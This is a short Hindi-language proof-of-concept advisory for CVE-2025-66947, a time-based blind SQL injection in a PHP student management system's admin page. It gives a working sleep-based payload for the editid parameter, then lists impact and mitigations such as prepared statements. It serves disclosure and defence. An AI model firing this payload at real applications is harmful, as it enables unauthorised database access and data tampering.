चरण 1 — सामान्य अनुरोध

/studentms/admin/edit-class-detail.php?editid=12

चरण 2 — समय-आधारित पेलोड इंजेक्ट करें

/studentms/admin/edit-class-detail.php?editid=12*if(now()=sysdate(),sleep(6),0)

अपेक्षित परिणाम

• सर्वर प्रतिक्रिया ~6 सेकंड तक विलंबित
• कोई दृश्य त्रुटि संदेश नहीं
• विलंब SQL इंजेक्शन की पुष्टि करता है

⏱️ समय सत्यापन

लगातार विलंब = SQL इंजेक्शन की पुष्टि

📌 यह पैटर्न कहाँ दिखाई देता है

यह भेद्यता पैटर्न सामान्यतः इनमें दिखाई देता है:

• PHP CRUD अनुप्रयोग
• छात्र / पुस्तकालय / इन्वेंट्री सिस्टम
• एडमिन पैनल जो संख्यात्मक GET पैरामीटर पर भरोसा करते हैं
• SQL त्रुटियाँ अक्षम किए गए अनुप्रयोग

🛡️ प्रभाव

• डेटाबेस जानकारी का खुलासा
• अनधिकृत डेटा संशोधन
• विशेषाधिकार वृद्धि
• बैकएंड डेटाबेस से समझौता

🧠 यह क्यों महत्वपूर्ण है

भले ही प्रमाणीकरण आवश्यक हो और त्रुटियाँ छिपी हों,
समय-आधारित SQL इंजेक्शन शोषणीय और खतरनाक बना रहता है।

गंभीरता: उच्च

🔧 शमन

• तैयार स्टेटमेंट का उपयोग करें
• संख्यात्मक पैरामीटर सत्यापित करें
• SQL क्वेरी संयोजन से बचें
• न्यूनतम विशेषाधिकार डेटाबेस पहुँच लागू करें

🆔 CVE

CVE-2025-66947

👤 खोजकर्ता

Ranjan Kumar

⚠️ अस्वीकरण

यह PoC केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है।

CVE-2025-66947, SQL Injection, Time-Based Blind SQL Injection, PHP, Admin Panel